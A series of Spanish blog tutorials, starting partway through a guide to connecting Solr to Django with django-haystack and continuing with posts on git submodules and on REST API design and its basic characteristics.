Para no empezar desde cero, tomaremos la carpeta de configuración predeterminada, localizada en <solr-x.y.z>/server/solr/configsets/_default/conf y la llevaremos al directorio de la instancia de solr.

cp -r <solr-x.y.z>/server/solr/configsets/_default/conf <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/

Si nos dirigimos al panel de administración deberíamos ser capaces de crear el núcleo de manera exitosa.

Haystack en Django

Ahora tenemos un núcleo de Solr funcionando, con la configuración básica, pero no lo hemos conectado a Django.

Para conectar solr y django configuraremos django-haystack .

Django-haystack es un puente entre django y diferentes motores de búsqueda:

ElasticSearch
Solr
Whoosh
Xapian

Nos permite generar archivos de configuración e interaccionar directamente con los motores para generar índices y realizar búsquedas o consultas.

Ahora mismo nos compete solr, por lo que primeramente instalaremos django-haystack y pysolr

pip install django-haystack==3.2.1 pysolr==3.9.0

Configurando Haystack en Django

Una vez instalado recuerda que debes agregarlo a INSTALLED_APPS, antes de tus aplicaciones. Además necesitamos decirle a Django donde puede encontrar el endpoint para solr a través de la variable HAYSTACK_CONNECTIONS.

# settings.py

INSTALLED_APPS = [
    # ...
    'haystack',
    # tus apps 
]
HAYSTACK_CONNECTIONS = {
    'default': {
        'ENGINE': 'haystack.backends.solr_backend.SolrEngine',
        'URL': 'http://127.0.0.1:8983/solr/<nombre_del_núcleo>'
    },
}

Usar una clase de Django como base para el índice

Una vez instalado necesitamos crear un modelo que sirva como base para la creación del índice de solr. Por convención, haystack busca un archivo llamado search_indexes.py, dentro de nuestras aplicaciones.

# app/search_indexes.py

from haystack import indexes
from .models import Videogame

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # Por convención DEBE llamarse text.
    text = indexes.CharField(document=True, use_template=True)
    created = indexes.DateTimeField(model_attr='created')
    # Más campos opcionales

    # El modelo a retornar
    def get_model(self):
        return Videogame

    # El queryset a indexar, puedes filtrarlo.
    def index_queryset(self, using=None):
        return self.get_model().objects.all()

Te explico la estructura de la clase

text, el campo más importante, usado para generar el índice. En esta clase debe existir al menos una propiedad con el parámetro document=True.
created, un campo opcional que se corresponde con una propiedad llamada created de nuestro modelo (model_attr=‘created’).
get_model, el modelo a retornar.
index_queryset, el queryset a indexar, puedes personalizarlo con filtros, particionarlo o como te plazca.

Usar otro nombre en lugar de text

El nombre text es una convención usada por haystack, para utilizar otro nombre de campo que no sea text creamos la variable HAYSTACK_DOCUMENT_FIELD en settings.py

HAYSTACK_DOCUMENT_FIELD = "otro_nombre"

Creando una plantilla para el campo text

Tras crear nuestra clase plantilla para el índice necesitaremos decirle lo que contendrá el campo text, lo haremos mediante una plantilla de Django.

Asegúrate de tener configurada tu variable TEMPLATES en settings.py

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': ["<directorio_de_templates>"],
        # ...
    }
]

Haystack detectará de manera automática un archivo dentro del directorio templates que usamos en Django, con la siguiente ruta y lo usará como base.

<directorio_de_templates>/search/indexes/<nombre_de_app>/<nombre_del_modelo>_text.txt

Este archivo lo llenaremos con la misma sintaxis que una plantilla normal de Django.

{{ object.name }}

Generando un managed_schema

Tras crear la plantilla procederemos a generar el archivo managed_schema, necesario para crear el índice, usando el comando build_solr_schema que nos proporciona django-haystack.

python3 manage.py build_solr_schema > managed_schema

Observa como redirijo la salida del comando a un archivo llamado managed_schema.

Este archivo es el que reemplazaremos en nuestra configuración de solr.

Primeramente respaldamos la configuración.

mv <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/conf <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/conf/_managed_schema.old

Ahora ya es seguro mover la configuración.

mv managed_schema <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/conf

Solr version +8.x y Django-haystack ajustes

Como estamos usando la versión más nueva de solr django-haystack (3.2.1) solo soporta hasta la versión 6.x de solr, necesitamos realizar ciertas modificaciones al código del archivo managed_schema que acabamos de copiar a la configuración de solr. Ya sabes, “incompatibilidades”. Si estás usando otras versiones más nuevas de haystack probablemente ya no tengas que realizar esto.

Localiza la linea:

<!-- <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/conf/managed_schema -->
<field name="django_ct" type="string" indexed="true" stored="true" multiValued="false"/>

Reemplazala con su versión de type=“text_general”:

<!-- <field name="django_ct" type="string" indexed="true" stored="true" multiValued="false"/> -->
<field name="django_ct" type="text_general" indexed="true" stored="true" multiValued="false"/>

Esto prevendrá un error en el que el resultado de la búsqueda se trata como una lista en lugar de como texto.

Otro cambio, antes del cierre de la última etiqueta schema agregamos el siguiente contenido

<!-- Texto insertado manualmente -->
<!-- Lines para el manejo de flotantes, long points, date points, etc. -->
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
<!-- Texto insertado manualmente -->

Lo anterior prevendrá errores relacionados con la falta de los campos pdate, pdates, plongs y otros.

El último cambio, mueve el archivo currency.xml en los ejemplos de solr a nuestra carpeta de configuración.

mv <solr-x.y.z>/example/example-DIH/solr/solr/conf/currency.xml <solr-x.y.z>/server/solr/<directorio_de_la_instancia>/conf

Esto evitará un error por la falta de campos para manejo de divisas.

Generar un índice en solr

Antes de continuar, necesitamos recargar nuestro núcleo en el panel de administrador de Solr para que reconozca los cambios que efectuamos en la configuración.

Ahora ha llegado el momento de generar un índice con el comando rebuild_index que nos provee django-haystack

python manage.py rebuild_index

WARNING: This will irreparably remove EVERYTHING from your search index in connection 'default'.
Your choices after this are to restore from backups or rebuild via the `rebuild_index` command.
Are you sure you wish to continue? [y/N] y

Si todo salió bien tendremos todo nuestro queryset indexado y podremos llevar a cabo una query en la sección query de nuestro núcleo, en el panel de administración.

La query devolverá todos los resultados en formato JSON si no especificamos nada.

Nota como el campo text se llena con el contenido de nuestra plantilla de django.

Búsqueda de texto con haystack y solr en Django

Con el índice formado y solr ejecutándose, podemos realizar querys o consultas directamente a solr usando haystack y código en Python, ya sea para devolverlas en formato JSON o para generar HTML con el sistema de plantillas nativo de Django.

from haystack.query import SearchQuerySet
from .models import Videogame

def vista(request):
    results = SearchQuerySet().models(Videogame).filter(content='<query text>').load_all()
    # ...

Con lo anterior doy por terminada la entrada, probablemente en la siguiente entrada hable un poco más de las funciones de búsqueda avanzada que ofrece django haystack.

Git Submodules Funcionamiento Y Flujo de Trabajo

Wed, 18 May 2022 18:14:41 +0000

Los git submodules o submódulos son un registro dentro de un repositorio de git que apunta a un commit en un repositorio externo. Se manejan exactamente igual que harías con un repositorio, incluso tienen un archivo .git que apunta a la ubicación en la que se lleva un registro de los cambios.

¿Para qué sirven los git submodules?

Esquema simplificado de git submodules

Los submodules de git son útiles cuando queremos incorporar código de terceros a un proyecto y al mismo tiempo queremos llevar un control estricto de las actualizaciones de ese código por medio de git. Por ejemplo:

Un repositorio compartido para un tema o estilos (Como en el SSG, Hugo).
Una librería de terceros.
Un repositorio que quieres usar para crear un Dockerfile en Docker .

Por otro lado, usar git submodules complica bastante el manejo de repositorios si no se tiene cuidado o si se trabaja con muchos submódulos, tienes que prestar atención al contexto en el que te encuentras y recordar todo el tiempo el repositorio en el que te encuentras.

Agregar un git submodule a un repositorio de git

Para empezar a utilizar un submódulo en un repositorio existente (nuestro repositorio principal) usamos el comando git submodule add, colocando primero la url del submódulo y posteriormente la carpeta donde queremos que se localice el submódulo.

Si el directorio no existe se creará.

git submodule add <url> <destino>

El comando anterior copiará el código de la url <url> en el directorio <destino> especificado.

Estructura de un git submodule

Tras añadir un submódulo a un repositorio se creará un nuevo archivo (no un directorio) llamado .git dentro de la carpeta del submódulo de nuestro repositorio.

.
├── .gitignore
├── .gitmodules
├── <destino>
│   ├── .git
│   ├── .gitignore
│   ├── app
│   │   ├── files.js

Dependiendo del repositorio que elijas como un submódulo, también podrás ver su propio archivo .gitignore.

El archivo .gitmodules

Además de copiar el código del repositorio remoto en la carpeta destino, git creará un archivo .gitmodules en la raiz de nuestro repositorio principal. Este archivo guarda las referencias a el o los submódulos de nuestro repositorio.

Cada uno de estos submódulos especifica su ruta, relativa a la raiz del repositorio, la url y la rama (opcional)

[submodule <destino>]
    path = <destino>
    url = <url-del-repositorio>
    [branch = <rama>]

Este archivo es importante pues es una referencia a los submódulos que necesita nuestro proyecto para funcionar.

Esquema del funcionamiento de git submodules

El contenido del archivo .git en un submodule

¿Qué contiene el submódulo? Si entras en cualquier submódulo, verás que tiene un archivo llamado .git

cd <destino>
ls -la 
.rw-r--r--   31 usuario 14 may 09:49 .git
# ...

Si revisas el contenido de este archivo con el comando cat , verás que es una ruta que apunta a la carpeta .git/modules de nuestro repositirio principal. Es de esta manera que git puede llevar un seguimiento de los submodulos directamente en el repositorio principal.

cat .git
gitdir: ../.git/modules/<submodule>

¿Y que hay en esa ubicación? En esa ubicación se encuentran los archivos con los que git maneja un repositorio internamente, guardan la misma estructura que los que están dentro de la carpeta .git de tu repositorio principal.

Git trata a los git submodules como repositorios individuales

Un submodulo se maneja exactamente igual que un repositorio normal.

Si ejecutas el comando git status dentro de un submódulo, verás que estamos dentro de un repositorio diferente al prinicipal.

git status
En la rama master
Tu rama está actualizada con 'origin/master'.

Dentro del submódulo puedes realizar checkouts, crear ramas, inclusive realizar commits y push. Todos estos cambios se harán en el repositorio del submódulo, no en el principal.

Git trata a cada submódulo como si fuera un repositorio separado, por lo que cada versión de tu repositorio principal se corresponde con una versión del submódulo.

Flujo de trabajo con git submodules

Cada vez que realices un cambio dentro de tu submódulo debes hacer un push de los cambios y, posteriormente, actualizar la referencia del repositorio principal hacia los submódulos..

¿Qué pasa si no lo haces? Pues aquí es donde comienza la pesadilla de toda la gente que detesta a los submódulos, tú vas a estar trabajando en la versión más reciente del submódulo, mientras que tus compañeros estarán trabajando en la versión antigua.

Pasos para guardar cambios en un submodule

Para guardar los cambios en un git submodule necesitamos seguir estos tres pasos

Guardar los cambios (commit) y hacer push en tu submódulo.
Regresar a tu repositorio principal.
Guardar los cambios (commit) y hacer push en tu repositorio principal.

# Realizando cambios en el submódulo
git add <archivos>
git commit -m "Mensaje del commit del submódulo"
git push

# Regresando al repositorio principal
cd <repositorio-principal>

# Actualizando la versión del submodulo
git add .gitmodules <archivos>
git commit -m "Actualizar a nueva versión del submódulo"
git push

Lo importante a recordar aquí es que siempre debemos actualizar los cambios tanto del submódulo como del repositorio principal.

Inicializar un repositorio con submodules en git

¿Y qué pasa si en lugar de agregar un submódulo con git add submodule, clonamos un proyecto que tiene un archivo .gitmodules?

Cuando clonamos un repositorio que tiene submódulos, git clona solo el repositorio principal, sin incluir el contenido de los submodules.

git clone <repositorio-con-submodules>

Compruebalo, navega al interior de las carpetas de los submódulos y podrás apreciar que están vacias.

Para que git descargue el contenido de los submódulos necesitamos inicializar, con –init los submódulos con el siguiente comando:

git submodule update --init --recursive

La opción –recursive se encargará de inicializar todos los submódulos del repositorio principal.

Actualizar un repositorio con git submodules en git

¿Y qué pasa si hacemos un pull de nuestro proyecto principal?

Como te mencioné anteriormente, cada versión de tu proyecto principal se corresponde con una versión del submódulo, por lo que si la versión de tu proyecto cambió, puede que haya cambiado el submódulo al que apunta.

Además, en git, los submódulos no se actualizan de manera automática cuando actualizas el repositorio principal.

Si hubo cambios en tu repositorio principal y haces un git pull es tu obligación actualizar los submódulos hasta el commit más reciente del código remoto del submodule:

git submodule update --recursive --remote

Y es todo, si crees que este artículo puede servirle a alguien, apreciería que lo compartieras, pues me permite seguir creando contenido gratis para poner en redes.

Buenas prácticas y diseño de una API REST

Thu, 28 Apr 2022 00:00:00 +0000

¿Cómo diseño una API REST? ¿Cuántos niveles debo anidar mis recursos relacionados? ¿URLs relativas o completas? Este post es una recopilación de ciertas recomendaciones sobre algunas buenas praćticas de diseño de APIs REST que he encontrado en libros y artículos de internet. Dejo las fuentes al final del artículo por si te interesa profundizar o ver de donde viene esta información.

Antes de empezar, hay una serie de características básicas de una API REST , las cuales expuse en una entrada pasada, revísalas si tienes dudas. En esta entrada te voy a hablar un poco de algunos aspectos más subjetivos relacionados con el diseño de APIs REST.

Recuerda que una API REST puede devolver otros formatos, no solo JSON, pero voy a centrarme en este para los ejemplos porque es bastante popular.

Voy a comenzar con una pregunta bastante común: ¿cómo estructuro mi respuesta JSON?

Estructura para respuestas JSON

Hay diferentes maneras de estructurar la respuesta de una API REST. No hay ninguna válida ni inválida, depende del gusto de cada equipo y las necesidades de la aplicación. Lo importante aquí es mantener la consistencia y la homogeneidad en todas tus respuestas.

Según json:api

Existe un grupo de personas que se propusieron estandarizar las respuestas JSON en un único estilo de respuesta, tanto para devolver recursos únicos o múltiples. Puedes tomar su estilo como referencia cuando diseñes su API para garantizar la uniformidad de las respuestas.

{
    "products": [{
        "id": 1,
        "title": "title"
    }]
}

API estilo Twitter

Twitter tiene su propia manera de hacer las cosas, la respuesta de un recurso individual se ve así:

{
  "id":1,
  "title":"title"
}

Para recursos múltiples, Twitter decidió incluirlos dentro de un array.

[
  {
    "id":1,
    "title":"title"
  },
  {
    "id":2,
    "title":"title"
  }
]

API estilo Facebook

Por otro lado, en Facebook, la sintaxis para recursos individuales luce así, igual a la de Twitter:

{
    "id": 1,
    "title": "title"
}

Mientras que una respuesta para recursos múltiples es así:

{
  "data":[
    {
      "id": 1,
      "title": "title"
    },
    {
      "id": 2,
      "title": "title"
    }
  ]
}

¿A quien hacerle caso? Como puedes ver diferencias entre compañias y no se si me atrevería a decirte que una u otra es correcta, pero considero que si te mantienes constante en cada uno de tus endpoints y lo documentas bien, no deberías tener problemas.

¿URLs relativas o completas en HATEOAS?

¿Recuerdas que HATEOAS es una característica de las APIs REST ? Pues, según lo que he investigado, no hay un consenso claro ni una postura oficial sobre si es mejor incluir URLs relativas o completas. Hay mucho debate al respecto en stackoverflow, pero microsoft usa URLs completas en sus respuestas, tómalo en cuenta cuando diseñes tu API REST.

{"rel":"self",
    "href":"https://adventure-works.com/customers/2"}

Objetos anidados en la respuesta

Generalmente una API no retorna recursos individuales, sino recursos que están relacionados con otros recursos a nivel base de datos por relaciones uno a uno, muchos a muchos o uno a muchos. La pregunta aquí es: ¿los incluimos en la respuesta aunque esto aumente su tamaño? ¿ponemos solo los identificadores y los descargamos después? Depende.

Identificadores en la respuesta

Esta aproximación al problema necesitará que si el usuario requiere acceder a la información, se descargue posteriormente. Es ideal para datos que casi no se consultan o muy numerosos.

{
    "posts": [{
        "id": 1,
        "title": "title",
        "comments": [2,3,4]
    }]
}

Esto puede traerte el problema de las n+1 queries si no lo manejas bien; considera el ejemplo anterior, cada solicitud a un post implica una nueva petición a la base de datos para obtener cada comentario.

Por supuesto que eso puede arreglarse optimizando tus búsquedas de manera que, en lugar de obtenerlos individualmente, los obtengas en una sola query.

GET /comments/2,3

Recursos en la respuesta

También es posible añadir directamente los objetos relacionados en una única respuesta, para evitar tener que nuestro usuario deba descargarlos posteriormente. Esto hará que cada respuesta demore un poco más, pues el servidor procesará más información, pero puede ahorrar peticiones posteriores a la API.

{
    "posts":[
      {
        "id":1,
        "title":"title",
        "comments":[
          {
            "id":2,
            "text":"..."
          },
          {
            "id":3,
            "text":"..."
          },
          {
            "id":4,
            "text":"..."
          }
        ]
      }
    ]
  }

Si quieres flexibilidad considera crear un endpoint donde puedas indicarle a tu API que recursos quieres anidar de manera explícita en la url, para que solo se integren en la respuesta si son solicitados.

GET /posts/1?embed=comments

Paginación en las API

Como ya te he mencionado en entradas anteriores cuando hablé de como escalar una aplicación de Django , no siempre querrás devolverle toda la base de datos a tus usuarios en cada petición. Para base de datos grandes es mejor fraccionar la respuesta en páginas, con un número limitado de elementos por cada página.

Para facilitar el uso de tu API, considera añadir la información relacionada a la paginación en tu respuesta:

El total de elementos
La cantidad de elementos por página
El total de páginas
La página actual
Una url a la página previa (en caso de que exista)
Una url a la página siguiente (en caso de que exista)

Así como cualquier otro dato que consideres pertinente.

{
    "data": [
         {}
    ],
    "pagination": {
        "total": 60,
        "items_per_page": 12,
        "current_page": 1,
        "total_pages": 5,
        "next_url": "https://api.example.com/items?page=2",
    }
}

Versionado de APIs

Las APIs no son estáticas, cambian con las necesidades del negocio, por lo que pueden cambiar con el tiempo. Es importante que los consumidores de tu API estén al tanto de esos cambios, por lo que versionar tu API es una excelente idea.

¿Debería versionar mi API?

Generalmente querras versionar tu API. Sin embargo, si tu API es sumamente simple y su estructura es extremadamente estable, o funciona de manera que los cambios se agregan como nuevos endpoints, sin modificar los anteriores, podrías dejarla sin versionar. Si tienes dudas sobre si tu API encaja en loanterior, probablemente deberías versionarla.

¿Dónde versionar el API?

Para que una API se apegue a los requisitos de la arquitectura REST debe cumplir con ciertas características, pero algunas compañias deciden obviar estos requisitos para sus APIs y, aún así, denominarlas REST.

Aquí te dejo algunas opciones para versionar tus APIs usadas por grandes compañias, sin importar si cumplen con REST o no.

A nivel url

Probablemente la opción más popular de todas.

Increíblemente simple de entender e implementar pero le ocasionará problemas con clientes que guardan las URLs en base de datos, pues con cada cambio habrá que actualizarlas. Además cuesta trabajo separarlos en diferentes servidores. Técnicamente, colocar la versión en la url no es REST.

Ejemplos de compañias: Twitter, dropbox, youtube, etsy.

http://dominio.com/api/v1/

A nivel dominio

Bastante simple de entender e implementar pero traerá problemas a aquellos clientes que guardan las urls en base de datos. Nuevamente, técnicamente, colocar la versión en el dominio no es REST.

Ejemplos de compañias: Twitter, dropbox, youtube, etsy.

http://apiv1.dominio.com

Por medio de parámetros en la url o en el body

Mantiene la misma url, solo cambian los parámetros. Trae problemas con clientes que guardan las urls y sus parámetros en la base de datos. Técnicamente usar parámetros para el versionado de la API no es REST.

Ejemplos de compañias: Google data, Paypal.

http://apiv1.dominio.com/recurso?version=1

En el body de la petición HTTP luciría así:

POST /places HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
    "version" : "1.0"
}

Por medio de cabeceras HTTP

Conserva las mismas urls pero puede confundir a los sistemas de caché.

Ejemplo de compañias: Azure.

GET /recursos HTTP/1.1
Host: example.com
ApiVersion: 1.0
Vary: ApiVersion

Considera que necesitas añadir una cabecera vary para que los sistemas de caché no guardan diferentes versiones de la API en una misma url.

En el content negotiation

¿Recuerdas ese mecanismo definido en el protocolo HTTP que te permite obtener diferentes versiones de un recurso? Pues además de aplicar para formatos puede ser usado para especificar versiones.

Mantiene las msimas urls, puede confundir a los desarrolladores que no entienden de headers.

Ejemplos de compañias: Github, Adidas.

application/vnd.github[.version].param[+json]

En REST una cosa son los recursos y otra su representación, los recursos, además del formato, tienen otra forma de representación, la cual es la versión de la API, por lo que esta manera sí cumple con REST. Aunque su uso puede ser un poco más confuso para las personas no familiarizadas con el protocolo HTTP.

¿Qué tanto anidar los recursos de una API?

Cuando tenemos relaciones entre nuestros recursos, es bueno para el SEO de nuestro sitio web estructurar el sitio jerarquicamente , al hacerlo es bastante tentador sobreextender esas jerarquias, complicando el uso de la API.

# /recurso/<id>/subrecurso/<id>/subsubrecurso/<id>/subsubsubrecurso ❌
/clientes/99/pedidos/88/productos/77/variantes ❌

La documentación de DRF sugiere una estructura plana a la hora de diseñar APIs.

La guia de estándares de APIs de la casa blanca también aboga por anidaciones muy cortas.

recurso/<id>/recurso

Microsoft también recomienda mantener las URIs lo más simples posibles. ¿Pero como me refiero a los recursos más profundas de la URL? Pues puedes crear una endpoint con uno o dos niveles de anidación y acceder directamente a ellos.

# /subrecurso/<id>

¿Y cómo lidiar con recursos relacionados?

Las URLs muy largas, con múltiples jerarquias anterior pueden acortarse accediendo directamente usando la referencia directa al recurso.

En lugar de tener un endpoint que requiera toda la jerarquia en la URI. Como en este ejemplo:

tienda/99/clientes/99/pedidos/88/productos/77

Reduce la longitud del endpoint al mínimo, el identificador debe de bastar para acceder al recurso.

# /subrecurso/<id>/subsubrecurso/<id>
/pedidos/88/productos/77

Aprecia como incluso en la ausencia de la parte inicial de la URI anterior, podemos acceder al recurso y además es perfectamente legible.

Notificar sobre actualizaciones de las API

A veces es necesario introducir cambios estructurales en las APIs, para prevenir que todos aquellos que la consuman presenten problemas, necesitamos notificarles. Pero… ¿cómo?

En el libro Two Scoops of Django , los autores recomiendan los siguientes pasos para notificar un cambio de versión de API.

Notificar a los usuarios con tanta anticipación como se pueda por medio de email, blogs o cualquier medio, casi hasta el punto del hartazgo.
Reemplazar la respuesta de la API obsoleta con una error HTTP 410 que devuelva un mensaje que contenga enlaces hacia: el nuevo endpoint, a la nueva documentación de la API y, sí existe, al texto que explique el porque de los cambios.

Limitar tu API con una política de Throttling

Deberías limitar tu API. Los usuarios no deberían tener acceso sin restricciones y peticiones ilimitadas a tu API. Hay usuarios que pueden abusar de tu API, mantener tu servidor ocupado, impidiéndo que el resto de los usuarios puedan usarla e incrementando tus costos.

Una manera de solucionarlo es establecer una política de throttling en tu servidor para cualquier usuario.

También puedes volverlo el centro de tu negocio y ofrecer planes de pago de acuerdo al número de peticiones por minuto a tu API.

Caracteres especiales en la URI

Usa solo caracteres válidos en tu URI.

De acuerdo a la especificación RFC 3986 , los únicos caracteres válidos, es decir, que no necesitan codificarse, en una URI, son las letras del alfabeto básico latinos, dígitos y algunos caracteres especiales (siempre y cuando se usen para su propósito).

Caracteres seguros [0-9a-zA-Z]: no necesitan codificarse
Caracteres no reservados [- . _ ~]: no necesitan codificarse
Caracteres reservados [: / ? # [] @ ! $ & ’ ( ) * + , ;] solo necesitan codificarse si no se usan para su propósito original (Por ejemp, una diagonal que no se use para separar rutas)
Caracteres inseguros [< > % { } | \ ^ `]: necesitan codificarse
El resto de caracteres necesitan codificarse.

Lo anterior está cambiando y se intenta agregar muchos más simbolos de diferentes lenguajes, puedes leer más al respecto en el artículo de idn e iri de la w3

Considera el SEO en tus URLs

Los motores de búsqueda consideran la URL para posicionar una página web, si para tu sitio web es importante el posicionamiento en buscadores, no te conformes con usar identificadores, comunica al motor de búsqueda el tema en la URL. El SEO y las URLs son un tema bastante amplio para resumirse en unas lineas, pero esto debería darte una idea de como buscar más información.

/posts/el-title-de-mi-post ✅
/posts/99-el-title-de-mi-post ✅
/posts/99 ❌

Espero que te haya servido la entrada, o que al menos te haya presentado material que no habías tomado en cuenta anteriormente al diseñar una API.

Fuentes de referencia

Características básicas de una API REST y recomendaciones

Thu, 07 Apr 2022 00:00:00 +0000

Esta publicación es una guia muy corta de consejos prácticos sobre diseño de APIs REST, no profundizo demasiado en la teoría. Encima, puedo sobre simplificar muchos conceptos en aras de mantener el texto lo más corto y sencillo posible.

En la siguiente entrada hablaré de algunas cuestiones más subjetivas como: ¿cómo devolver el JSON correctamente? ¿Cuánto anidar una API? ¿Qué maneras existen para versionar una API REST?

¿Qué es una API?

El término API proviene de las siglas en inglés de interfaz de programación de aplicaciones, y consiste en una seríe de reglas que nos dicen como pueden comunicarse entre sí las aplicaciones y/o los dispositivos.

Existen diferentes tipos de APIs

Existen muchos tipos de APIs y todo el tiempo están apareciendo nuevos paradigmas, una de esas es REST.

REST es especial porque ha sabido sobrevivir al paso del tiempo y posicionarse sobre el resto de paradigmas, pero no existe certeza sobre lo que sucederá mañana, quizás reescribamos todas las API en Rust.

A la fecha aún existen protocolos que trabajan con peticiones POST, como el Model Context Protocol , usado para estandarizar la comunicación entre cliente y LLM.

REST data del año 2000

¿Qué es una API REST?

Una API REST es una API que cumple las normas de diseño de REST (Oye, más despacio cerebrito). Ok pero, ¿qué es REST? REST es un estilo de arquitectura, que tiene que cumplir una serie de características de las que te hablo a continuación.

¿Cuáles son las características de las API REST?

No todas las APIs son REST, numerosos desarrolladores, de todos los niveles, usan, erróneamente, el término API REST para referirse a cualquier servidor que retorne JSON o incluso a APIs orientadas a realizar acciones en el servidor, como RPC o gRPC , incluso compañias tan grandes como Twitter y Facebook no cumplen todas las características de una API REST, a pesar de anunciar sus APIS como si lo hicieran.

Si ya conoces la breve parte técnica, sáltate esta sección.

¿Qué características tienen las API REST? Si queremos diseñar una API REST tenemos que cumplir una serie de características que definen este estilo de diseño. Te las resumo brevemente a continuación:

Sistema con arquitectura cliente-servidor. Un sistema que consiste en dos partes, una que solicita información y la otra que la proporciona.
Sin estado (Stateless): el resultado de una petición no debe depender de peticiones anteriores. Es decir, el cliente debe proporcionar todo lo necesario para que su procesamiento por el servidor y el servidor no debe almacenar ninguna información de la sesión.
Cacheable: Debe ser posible etiquetar una respuesta como cacheable para reusarla en respuestas similares posteriores .
Interfaz uniforme para todos los clientes. Las URIs deben ( No confundir con URL ) hacer referencia a recursos y cada recurso debe tener una URI única. Un recurso puede ser un post, un usuario, un producto, etc. Por su parte, el servidor envía representaciones de los recursos (XML, JSON. TXT, etc), nunca el recurso original. El cliente debe ser capaz de modificar el recurso original a partir de la representación del recurso que recibe del servidor.
- Acceso y modificación de recursos por medio de una URI: Recuerda que una cosa es el recurso en si mismo y otra su representación. El cliente puede especificar el tipo de recurso (XML, JSON, TXT, etc.) que desea recibir por parte del servidor.
- Mensajes autodescriptivos: Cada mensaje debe tener la información suficiente para entender como procesarlo.
- Uso de recursos Hypermedia (HATEOAS): el uso de hiperenlaces en la respuesta que apuntan hacia los recursos relacionados, de manera que el cliente pueda navegar la API a partir de las respuestas que obtiene del servidor.
Sistema en capas: En las API REST, las solicitudes y las respuestas atraviesan diferentes capas. El cliente y el servidor deben ser agnósticos con respecto a las capas intermedias que existan entre su comunicación.
Código bajo demanda (opcional): el servidor podría enviar código, en forma de scripts o componentes, para ampliar la funcionalidad del cliente.

Si quieres ahondar en cada uno de estos puntos te dejo algunos recursos que pueden serte bastante útiles:

En inglés:

En español:

Resumidas las características básicas, vamos a los consejos prácticos.

Usa los códigos de estado correctos en las REST APIs

No devuelvas un código 200 en todas las respuestas de tu API.

Como ya sabes, cada respuesta HTTP tiene un valor númerico que la define, estos valores pueden agruparse en rangos del 100 al 600.

Nuestra API debe retornar los estados correctos que le indiquen al cliente lo que está sucediendo.

Probablemente haya algunos estados que no usarás nunca, pero sí deberías memorizar al menos los de uso más frecuente:

200 OK, status ok, la petición salió bien
201 Created, un recurso fue creado
204 No Content, Solicitud completada con éxito, pero no hay contenido en la respuesta
301 Redirect, Redirección permanente
302 Found, Redirección temporal
400 Bad Request, el servidor recibió una petición mal formada
401 Unauthorized, no estás autenticado (no existe un usuario)
403 Forbidden, no tienes los permisos adecuados (el usuario no tiene los permisos)
404 Not Found, no se encontró el recurso solicitado
500 Internal Server Error, error de servidor

Hay muchos más estados HTTP que probablemente quieras conocer . Asegúrante de revisarlos.

Código 418: Soy una tetera

Devuelve mensajes claros en los errores

Cuando devuelvas un error, asegúrate que notificarle al usuario de tu API, de una manera clara y explícita, los errores y como solucionarlos.

{ 
  "error": {
    "type": "Validation Error",
    "code": "Error-0123",
    "message": "La contraseña debe tener más de 6 caracteres y contar con al menos un dígito",
    "documentation_url": "http://example.com/docs/errors/E-0123"
  }
}

Los métodos HTTP válidos en las REST APIs

No te limites a recibir solo peticiones POST y GET en tu API, hay un método para cada acción de un CRUD.

Los métodos HTTP que recibamos como parte de la petición HTTP nos indicarán las instrucciones a realizar por parte del servidor.

GET: Leer un recurso
POST: Crear un recurso
PUT: Crea un nuevo recurso o actualizalo si ya existe
PATCH: Editar una parte de un recurso
DELETE: Borrar un recurso
HEAD: Como GET pero sin obtener el recurso
OPTIONS: Solicita al servidor los métodos soportados antes de hacerles una petición

Para conocer los detalles de cada método considera revisar la documentación oficial sobre los métodos de petición HTTP.

Usa sustantivos en plural, no verbos para las URI

Una API REST es una representación de recursos, por lo que siempre hacemos referencia a objetos, en plural.

Las acciones se especifican en los métodos HTTP, por lo que debes dejarlos fuera de tus URIs

# Maneras incorrectas ❌
/crear-videojuego # Esto no es REST, sino RPC ❌
/videojuego/crear # Esto no es REST, sino RPC ❌
/videojuego/borrar # Esto no es REST, sino RPC ❌

Por motivos de claridad usaremos el plural de los sustantivos para referirnos a los recursos.

# Incorrecta, está en singular ❌
/videojuego 
# Manera correcta ✅
/videojuegos

Evita guiones bajos y usa siempre minúsculas

En el libro Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces de Mark Masse , establece como una “regla” el uso de minúsculas en las URIs y se motiva a evitar los guiones bajos, debido a que algunos dispositivos resaltan los recursos clickeables con subrayado, lo que puede dificultar la vista de los enlaces.

/VIDEOJUEGOS❌
/videojuegos_populares❌
/videojuegos✅

¿Diagonal al final o no en una REST API?

Hay algunas opiniones encontradas respecto a esto.

En el libro Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces se desaconseja por completo el uso de una diagonal al final de las URls.

¿De donde viene la diagonal al final? Históricamente la versión sin diagonal se ha usado para referirse a archivos.

/videojuegos

Mientras que una diagonal al final hace referencia a directorios.

/videojuegos/

Por otro lado, google se muestra más permisivo en su artículo slash or not to slash . Y se muestra totalmente indiferente hacia el uso o la ausencia de la diagonal final, sin embargo enfatiza la importancia de mantenerse uniforme en su uso, ya que las URLs con diagonal al final y sin diagonal al final se consideran diferentes URLs por los motores de búsqueda.

Elige una y apégate a ella. Considera usar una redirección (301) de un tipo de url a otro, pero sé consistente siempre.

Diagonal al final en la raiz

En la dirección raiz no importa si se coloca una diagonal al final.

Las direcciones URLs raiz son tratadas como una sola por los motores de búsqueda, tengan diagonal o no, por lo que asegúrate de que devuelvan el mismo contenido.

https://tudominio.com/
https://tudominio.com

